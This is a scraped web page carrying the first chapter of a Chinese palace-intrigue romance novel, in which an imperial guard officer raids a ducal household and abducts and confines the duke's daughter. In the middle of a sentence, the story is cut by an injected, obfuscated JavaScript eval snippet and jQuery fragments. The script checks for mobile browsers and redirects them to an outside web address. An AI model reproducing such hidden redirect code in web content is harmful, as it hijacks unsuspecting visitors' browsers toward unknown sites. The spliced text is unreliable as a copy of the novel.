默认冷灰
24号文字
方正启体

1. 囚禁(1)

作者:画诗点墨本书字数:K更新时间:
    时临孟夏,朗空清气,阳光轻透,一缕缕照在镇国府牌匾之上。


    一队身着青灰色飞鱼服的锦衣卫匆匆从远处赶来,站定其前。


    “朝大人要做何事?”护卫不明所以地开口询问。


    “闯进去,抓住罪臣花申鸣!”


    被护卫唤作朝大人的是站在锦衣卫前,身着红色飞鱼服之人,气宇轩昂。


    “是!”


    锦衣卫齐声应道,不由分说往镇国公府里闯!


    “朝大人!这是什么意思?!”护卫抽出剑,企图阻止。


    银光一闪,血迹飞溅,还想争论的护卫瞪大双眼,捂着自己的脖颈栽倒在地上,鲜血流淌一地。


    朝辞啼眼未动一分,拿出一块手帕,慢条斯理地擦拭着绣春刀上面的鲜血,踏进了镇国公府。


    “啊!!!”婢女侍从显然被这声势浩大的阵仗骇住,尖叫着团在一起,惶恐不安地看着朝辞啼。


    “公子…,您…您这是要做什么?”一位婢女颤颤巍巍地发问。


    无人应答她,谁也不知道前不久受新封的镇国公府养子朝辞啼,为何今日会持刀气势汹汹地入了府。


    “奉天承运皇帝,诏曰:镇国公府花申鸣私交异人,通敌叛国,证据确凿!故命我前来将其缉拿归案,镇国公府上下百口人未有一人言明,通连坐!”轻声慢念,朝辞啼抬眸蔑然扫过。


    他动动手指,扔掉带血的方帕,将绣春刀收回于刀鞘之中,眉眼处渐渐涌上一股凌冽的寒意,他低沉着声音说道:“全部抓回。”


    “遵命!”锦衣卫们纷纷出动,将在场的所有人一一抓捕。


    “不要!我们没错!”害怕惊叫求饶之声此起彼伏。


    “违抗者,杀无赦。”朝辞啼却没有半分留情,面容森冷。


    仿佛他不像是在这里生活了十几年的养子,更像是有深渊大仇的敌人。


    手指轻磕刀鞘,他信步而走,对此之景置若罔闻。


    行过廊桥回道,轻车熟路地转进后院,他没有去找花申鸣,反而来到了一处别致雅院。


    门口种着一大片芍药花,娇艳欲滴,随风摇动,花香四溢。


    见门大开,一丝笑意渐染上他的眼眸。


    刚入院门,便见一绝艳身影立于院中,和风吹动起她的烟紫色衣衫,她双眸沉定,语调轻缓而坚定,“朝辞啼,镇国公府无罪。”


    “我的大小姐,花将军通敌叛国之罪已查明。更何况…”朝辞啼牵扯出一抹极其浅淡之笑,三言两语之间来到了花无凝面前。


    他压低声音,显得戏谑又自得地,“那证据还是你给我的。”


    “你…!”花无凝轻咬朱唇,双手紧握,一副被气得不轻之态。


    惹得朝辞啼低笑连连。


    深吸一口气,花无凝退后一步,与其拉开身位,在他惬意的笑声中,缓慢地勾出一抹笑,她道:“朝辞啼,你与新帝耍的什么花招别以为我不知道。”


    “通敌叛国,你们真的有证据吗?”


    此话一出,面前之人笑意陡然减淡,花无凝心下明了,“朝辞啼,假证无凭!你们敢动镇国公府,不怕群起愤然,你家新帝地位不保吗!”


    “那就请大小姐跟我走一趟,这里不适合你。”朝辞啼无所在意,悠然而语。


    话音刚落,他就欺身上前。


    速度之快让花无凝没反应过来。


    脖上钝痛一瞬,骤然眼前一黑,花无凝眉头微皱,尚不得言语之机会,便柔软地倒在了朝辞啼怀中。


    横抱在怀,朝辞啼垂眸看着花无凝,骨节分明的手在她娇颜上亲昵擦拭,眷恋无限,呢喃细语:“乖乖听话不就好了?”


    环视一周这间院子,朝辞啼抱着花无凝出了院门,未管前院纷扰哀嚎之声,他抱着花无凝径直来到了镇国公府后门。


    彼时,门后正停放了一辆马车。


    “大人。”马车夫恭敬地喊道。


    “把她送到那个地方。”朝辞啼将人放置在那车后,吩咐着。


    “是。”马车夫说完,驾着马车飞奔而去。


    直至看不见马车,朝辞啼这才安心转身回镇国公府内。


    “大人,人都抓住了。”一位锦衣卫上前禀报。


    “嗯,都带走吧。”朝辞啼瞥了一眼被拷的镇国公府众人,淡然非常而言。


    “大人,还有一人没有找到。”锦衣卫纠结一瞬,继而回禀:“花无凝未在镇国公府内。”


    “无妨,此事我有打算。”朝辞啼不惊不澜回复,随之看向乌泱泱的一片人,“将人通通带回大牢关押。”


    “是。”


    浩浩汤汤百来口人,镣铐锁手,期期艾艾哭泣着走在大街之上,没有人敢出声反抗。


    反抗之人早就成了绣春刀的刀下亡魂。


    观望的百姓无一不心生胆怯好奇之心。


    这新帝才刚登基不久,怎么先帝看重的镇国公府就被抄家了?


    且领兵之人赫然是镇国公府的养子,朝辞啼!


    这究竟是何原因?


    “去,将圣旨公示于众。”将民众之疑思纳入眼底,朝辞啼低声与旁边之人说道。


    身旁的锦衣卫领命,遂将镇国公府通敌叛国之罪行公布,一时间掀起惊涛骇浪,百姓们众说纷纭。


    金碧辉煌的大殿之外,朝辞啼抬头看着武英殿三字,从容不迫地推门而入。


    “你来了?”新帝唐允维俨然一副久等之容。


    “拜见陛下。”朝辞啼行礼道。


    “不必多礼,怎么样?”唐允维询问,双眼噙着友善期许的笑。


    “已全部抓回。”朝辞啼起身,“陛下不必担心。”


    “那就好。”唐允维呼气,指旁边的座,示意朝辞啼坐下。


    “我听闻花将军有一女,名唤花无凝,堪称国色天香。”唐允维待朝辞啼坐下后不着痕迹地问道:“不知能否有幸见上一面。”


    “陛下多虑了,我将人带走不过是因为她手中还攥着证据,若是逼问怕是问不出。”朝辞啼心思一转,平静回话。


    他哪能听不出唐允维的话外之意。


    这少抓了一个人,他就着急来试探自己了。


    “等证据确凿,便会带人来见陛下。”


    “嗯,如此便好。”唐允维颔首说道:“此事你知我知天知地知,不会再有人知道花无凝不见一事。”


    朝辞啼眼眸一暗,看来告密之人已被杀。


    “多谢陛下厚爱。”他起身感恩道。


    “我能坐在这个位置上,多亏有你。”唐允维漾着柔和暖意,动手将其扶起,“你不必如此。”


    “皇兄。”


    “陛下,您是君,属下是臣,莫要再说错了。”朝辞啼被唐允维扶起,却又推开了他的手。


    “爱卿累了吧,好好休息,其余繁琐之事不用操心。”唐允维叹息一声,“镇国公府倒台,已经帮了我大忙了。”


    “陛下言重。”朝辞啼拒人于千里之外说道:“这是臣分内之事。”


    “你下去吧,近日可不来上朝,你想来之际再来。”唐允维重新坐回龙椅,有意无意地提点,“花申鸣我打算秋后问斩,你知道该怎么做的。”


    “遵命陛下。”朝辞啼行礼:“臣,告退。”


    秋后问斩,便是要他在这之前要将真正的证据找出来。


    退出武英殿,朝辞啼头也不回往外走去,一路上宫女侍从对其行礼,他也充耳不闻。


    离开皇宫,他骑上马,扬鞭而去。


    袅袅檀香萦绕,床帷翩飞,倩影起身揉揉太阳穴。


    她这是被带到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142532|164548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪儿来了?


    掀开床帷,房中移步,她生出些许疑惑。


    她还在镇国公府吗?为何与她闺房布置相差无几。


    芍药花迎光摆放在窗边,飘落下几片花瓣。


    “吱呀。”


    还沉浸在困惑之中的花无凝忽的被推门之声扰醒,她看着来人,冷下眼眸。


    “朝辞啼,你来做什么。”


    “大小姐,这里是我的宅院,我想来便来。”朝辞啼换下红色的飞鱼服,穿了一身暗紫色长袍来见花无凝。


    “你的宅院?”花无凝一滞,望向朝辞啼身后的院子,虽是与她院子相似,却终归不是她的。


    “你这是何意?”她仰着头,手置于腹部,高傲斐然。


    “我这是何意?大小姐看不出来吗?”朝辞啼将门关上,慢慢靠近花无凝。


    “朝辞啼!镇国公府待你不薄!”花无凝闻言面显怒不可遏之情,一字一顿斥责。


    “呵。”朝辞啼停下脚,他将花无凝的面容映入眼眶:“好一个不薄。”


    随之抬手往花无凝头上抚去。


    柔荑一挥,将朝辞啼的手拍开:“朝辞啼!”


    “大小姐还是省点力气,告诉我你父亲通敌叛国的罪证在何处。”被打了的朝辞啼没有生气,反而露出莫名之笑。


    “我说过,镇国公府无罪!你与新帝,你们勾结想要对镇国公府出手,不是吗?”花无凝侧过身不愿见他。


    “我的大小姐,饭可以乱吃,话不可以乱讲。”朝辞啼语意不明,“再说,通敌叛国之罪,不是你告诉我的?”


    “我只是见过异人,觉得他奇怪,告知与你,怎知你这般!”花无凝胸口起伏不停。


    “我哪般?”比之花无凝的怒意横生,朝辞啼悠哉极了,轻佻薄情暗语:“你若不愿意,我能强迫了你?”


    “朝辞啼!”花无凝大喊一声,蓦地捂住胸口,脸色惨白起来。


    “花无凝…。”朝辞啼笑意一敛,忙扶住花无凝,将其抱在床上,手轻摁在她脉上,将准备好的药瓶拿出来,“来,吃下去。”


    花无凝没有抵触,将药吞下去。


    待她气息稳定后,朝辞啼生冷似寒铁道:“他给你下毒,你还这般维护他?”


    朝辞啼所说的他,便是花无凝的父亲,花申鸣。


    “我是镇国公府的嫡女。”花无凝推开朝辞啼的手,自顾自开口:“镇国公府与我一荣俱荣,一损俱损。”


    “若前日夜里,我不去找你,你以为自己还活的了。”朝辞啼站起身,眼神晦暗不明。


    前日夜晚,朝辞啼翻进花无凝的院子,带了两壶酒,正要与之共饮,却发现花无凝脸色苍白,神情恍然。


    惶恐之际他上前一探脉,居然是中了剧毒。


    花无凝抓住朝辞啼的手,让他救她,朝辞啼询问她发生了何事。


    一开始花无凝咬死不松口,直到朝辞啼威胁若不告知,他便离去之时,花无凝才堪堪开口。


    告诉了他,异人之事。


    而他父亲,也因为这个,要置她于死地。


    知道结果的朝辞啼,给花无凝暂时压制住了毒素。


    “若我知道,你会与新帝一同,对镇国公府下手,我宁愿去死。”花无凝语调平淡,含有些许气音。


    朝辞啼凝视着她,将解药放在一旁,瞧不出是何情绪,“一日一粒,半月能好。”


    “朝辞啼,你不杀我吗?”花无凝看着药瓶,疑虑问道。


    “我答应过你,保你一命。”朝辞啼淡笑,“半月后,你若不说证据,那便由不得你。”


    “我还有事,先走了,好好待着别想着镇国公府。”


    语罢,朝辞啼转身而去。


    空留花无凝在房内,她拿起解药,手指在其上摩挲。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)